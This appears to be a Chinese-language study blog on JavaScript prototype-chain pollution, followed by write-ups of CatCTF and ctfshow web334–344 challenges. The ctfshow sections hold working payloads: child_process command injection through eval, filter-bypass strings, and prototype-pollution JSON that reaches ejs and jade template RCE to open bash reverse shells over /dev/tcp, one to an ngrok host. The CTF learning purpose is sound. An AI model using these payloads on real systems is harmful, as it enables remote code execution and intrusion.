# 前言
最近总是遇到原型链污染的题目,之前也是没有接触到这一块,下来后去翻了翻这块的文章学习一下,这里做一个简单的记录
# 什么是原型链污染
学习之前我们至少需要知道原型链污染是一个什么样的东西,原型链污染主要发生在 JavaScript 的运行过程中,攻击者可以通过原型链污染来控制对象属性的值,篡改应用服务的逻辑,甚至进行代码执行
# 前置知识
# 什么是原型
原型链污染当然是绕不开原型这个主角,那么什么是原型呢,先看这样一个例子
function Clown(){ | |
this.name="admin" | |
this.type="string" | |
this.demo = function (){ | |
console.log("输出demo") | |
} | |
} | |
var a = new Clown() | |
a.demo() |
在 JavaScript 中,如果我们需要定义一个类,需要通过定义 “构造函数” 的方式来构造,类中的方法我们可以定义在构造函数内部,这里是能够正常使用的,再看下面这个例子
function Clown(){ | |
this.name="admin" | |
this.type="string" | |
} | |
Clown.prototype.demo = function (){ | |
console.log("1") | |
} | |
let clown = new Clown() | |
clown.demo() |
这里好像都是能够正常调用的,那么既然已经有了第一种定义方法的方式为什么还要有第二种呢?大致有下面几种原因
- 内存占用:使用原型定义方法可以使得所有实例共享相同的方法。而直接在构造函数中定义方法会在每个实例上创建方法的副本,导致内存占用增加,尤其在创建大量实例时。
- 动态性:通过原型定义方法,可以在运行时动态地更新所有实例的方法。当你修改原型对象上的方法时,所有实例都会受到影响。而如果直接在构造函数中定义方法,你需要重新创建实例才能使用更新后的方法。
- 继承和多态性:使用原型链继承,可以通过指定一个对象的原型为另一个对象来实现继承和多态性。这样可以在继承链中共享和重写方法。直接在构造函数中定义方法不能轻松实现继承和多态性的概念
基于这些优点,越是体系大的应用体系中越是明显,所以原型的使用还是非常有必要的
值得注意的是,实例化的对象想要使用原型定义是不被运行的,比如下面这个例子
function Clown(){ | |
this.name="admin" | |
this.type="string" | |
} | |
Clown.prototype.demo = function (){ | |
console.log("1") | |
} | |
Clown.prototype.a = "aaaaa" | |
let clown = new Clown(); | |
clown.a = "bbbb" | |
console.log(clown.a) | |
clown.prototype.b = "test"; |
运行结果
这里先通过 Clown 类去通过 prototype 定义是被允许的,同样也能够通过实例化后的对象去访问,但是想要通过实例化后的对象去定义一个原型出现了报错,有没有办法解决这个问题呢?当然是有的,__proto__这样一个东西就出现了,看下面这样一个例子
function Clown(){ | |
this.name="admin" | |
this.type="string" | |
} | |
Clown.prototype.demo = function (){ | |
console.log("1") | |
} | |
let clown = new Clown(); | |
console.log(Clown.prototype === clown.__proto__) |
总结(摘自 https://www.leavesongs.com)
1、prototype 是一个类的属性,所有类对象在实例化的时候将会拥有 prototype 中的属性和方法
2、一个对象的__proto__属性,指向这个对象所在的类的 prototype 属性
# 原型链继承
先看这样一个例子
function Father() { | |
this.first_name = 'Donald' | |
this.last_name = 'Trump' | |
} | |
function Son() { | |
this.first_name = 'Melania' | |
} | |
Son.prototype = new Father() | |
let son = new Son() | |
console.log(`Name: ${son.first_name} ${son.last_name}`) |
这里就和 java 的继承很像,这里最后输出的是 Name: Melania Trump,很显然这里 Son 是没有 last_name 这个属性
这里在调用 son.last_name 时首先会在 Son 中寻找,如果找不到就会在 Son.__proto__中寻找,找不到再去 Son.__proto__.__proto__寻找,直到找到 null 结束
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(son.__proto__)
这里找到就会直接去调用
# 原型链污染
进过前面的学习,对 nodejs 的原型和原型链继承有了一个了解,接下来的篇幅正片开始
PS:这里 node 是 JavaScript 是运行环境,上面这些代码都可以在浏览器的控制台运行,这里我使用的是 WebStorm
看先面这个例子
let a = { | |
test : "a" | |
} | |
a. __proto__.test="b" | |
Object.prototype.qqqq=1 | |
console.log(a.__proto__) | |
console.log(a.test) | |
let b = {} | |
console.log(b.test) |
这里可以看见,值为空的 b,也能通过 b.test 去输出一个值,首先这里定义了一个 a,a 是一个 Object 类的实例,然后修改了原型 a. __proto__.test="b",他实际等于 Object.prototype.test = "b",所以 b 这个对象自然也就有了 test 属性
像这样,控制修改一个对象的原型,导致所有和这个对象来自同一个类、父祖类的对象都被修改就叫做原型链污染,简单来说被 new 出来的实例会通过__proto__影响到原来的类
# 巩固
只有理论是行不通滴,这里找几道题来练习一下
# CatCTF 2022 wife_wife
一道简单的 js 原型链污染,要邀请码才能注册为 admin,普通用户只能拿到 wife,没有 flag。
这里在 github 上面翻了翻源码
app.post('/register', (req, res) => { | |
let user = JSON.parse(req.body) | |
if (!user.username || !user.password) { | |
return res.json({ msg: 'empty username or password', err: true }) | |
} | |
if (users.filter(u => u.username == user.username).length) { | |
return res.json({ msg: 'username already exists', err: true }) | |
} | |
if (user.isAdmin && user.inviteCode != INVITE_CODE) { | |
user.isAdmin = false | |
return res.json({ msg: 'invalid invite code', err: true }) | |
} | |
let newUser = Object.assign({}, baseUser, user) | |
users.push(newUser) | |
res.json({ msg: 'user created successfully', err: false }) | |
}) |
上面的代码是 register 部分,这里可以看到这里使用了 Object.assign,将 baseUser 和 user 的属性合并后拷贝到 {} 中
这里这样构造就能注册成功
# ctfShow
# <font size=5>web334</font>
这里给了两个文件
#login.js | |
var express = require('express'); | |
var router = express.Router(); | |
var users = require('../modules/user').items; | |
var findUser = function(name, password){ | |
return users.find(function(item){ | |
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; | |
}); | |
}; | |
/* GET home page. */ | |
router.post('/', function(req, res, next) { | |
res.type('html'); | |
var flag='flag_here'; | |
var sess = req.session; | |
var user = findUser(req.body.username, req.body.password); | |
if(user){ | |
req.session.regenerate(function(err) { | |
if(err){ | |
return res.json({ret_code: 2, ret_msg: '登录失败'}); | |
} | |
req.session.loginUser = user.username; | |
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag}); | |
}); | |
}else{ | |
res.json({ret_code: 1, ret_msg: '账号或密码错误'}); | |
} | |
}); | |
module.exports = router; |
和
#user.js | |
module.exports = { | |
items: [ | |
{username: 'CTFSHOW', password: '123456'} | |
] | |
}; |
这里在 user.js 这里直接给到了用户名和密码,这里直接登录
# <font size=5>web335</font>
这题看到源码有一个 eval 参数
这里应该使用的是 eval 函数,JavaScript 中 eval 函数和 php 中一样,都会将传入的字符串当做代码执行,这里也是记录一下
# <font size=5>child_process</font>
一个 node 的子进程的 API,可以创建一个子进程用于命令执行,下面是 4 中创建子进程的方式
child_process.exec(command[, options][, callback])
创建一个 shell,然后在 shell 里执行命令。执行完成后,将 stdout、stderr 作为参数传入回调方法。
let test = require("child_process")
test.exec('dir', (error,stdout) => {
console.log('stdout: ' + stdout);
})
这里可以看到能够列出当前目录
child_process.execFile(file[, args][, options][, callback])
跟 .exec () 类似,不同点在于,没有创建一个新的 shell,options 参数与 exec 一样;这个方式是去运行一个可执行文件
这里直接构造 payload
require("child_process").execSync('ls') | |
require("child_process").execSync(%27cat%20fl00g.txt%27) |
# web336
同样的配方,不过这里过滤了 exec,这里可以先通过全局变量__filename 来看一下当前模版文件的绝对路径
PS:__dirname 可以返回当前目录的绝对路径
然后读取文件
?eval=require('fs').readFileSync('/app/routes/index.js','utf-8') |
使用 spawnSync 也是一样的作用
?eval=require("child_process").spawnSync(%27ls%27).stdout.toString() | |
?eval=require( 'child_process' ).spawnSync( 'cat',['fl001g.txt'] ).stdout.toString() |
这里换了一种方法,但是如果两种方法都被过滤了该怎么做呢?在 php 中这种情况可以使用字符串拼接的方式,这里当然也是可以的,PS:因为 + 会被解析为空格,所以这里使用编码 %2b
?eval=eval("require('child_process').exe"%2b"cSync('ls')") |
这里前面读取文件的时候使用了 fs 这样一个包,这里同样也可以通过它来读取 flag
?eval=require('fs').readdirSync('.') | |
?eval=require('fs').readFileSync('fl001g.txt','utf-8') |
# web337
题目介绍中给了这样一段信息
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
关键点就是那个 if 判断,这里直接用之前做题的思路,数组绕过即可
# web338
这题源码都给我们了,简单看一下,发现当 secert.ctfshow==='36dboy' 的时候能拿到 flag
这里的利用点其实就是在 copy 这个函数中
这里和网上的师傅介绍原型链污染的时候给的例子一样这里因为 user 和 secert 都是直接继承 Object 这里通过 user 去污染 Object 即可
# web339
相较于上一题这里做了一些改变,这里想要相等完全是不可能的,就需要找新的利用点
这里看到相较于上一题多了一个 api 文件,这里这个 query 很显然也是来自 Object,这里直接污染后 rce 反弹 shell 即可
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}} |
这里因为 Function 的环境没有 require 函数不能获得 child_process 模块,这里用 process.mainModule.constructor._load 就行
# web340
做法与上一题一样
不过这里 user 是一个类,那么 user.__proto__就不是指向 Object.prototype 了 user.__proto.__proto__才是,这里 payload 简单改一下即可
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}} |
# web341
预期解 ejs rce
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}} |
然后再刷新一下页面
# web342,web343
jade 原型链污染 https://xz.aliyun.com/t/7025
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/6.tcp.ngrok.io/11125>&1\"')"}}} |
在 login 页面打上去之后随便访问下,就会反弹
# web344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
这里直接这样传就行
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true} |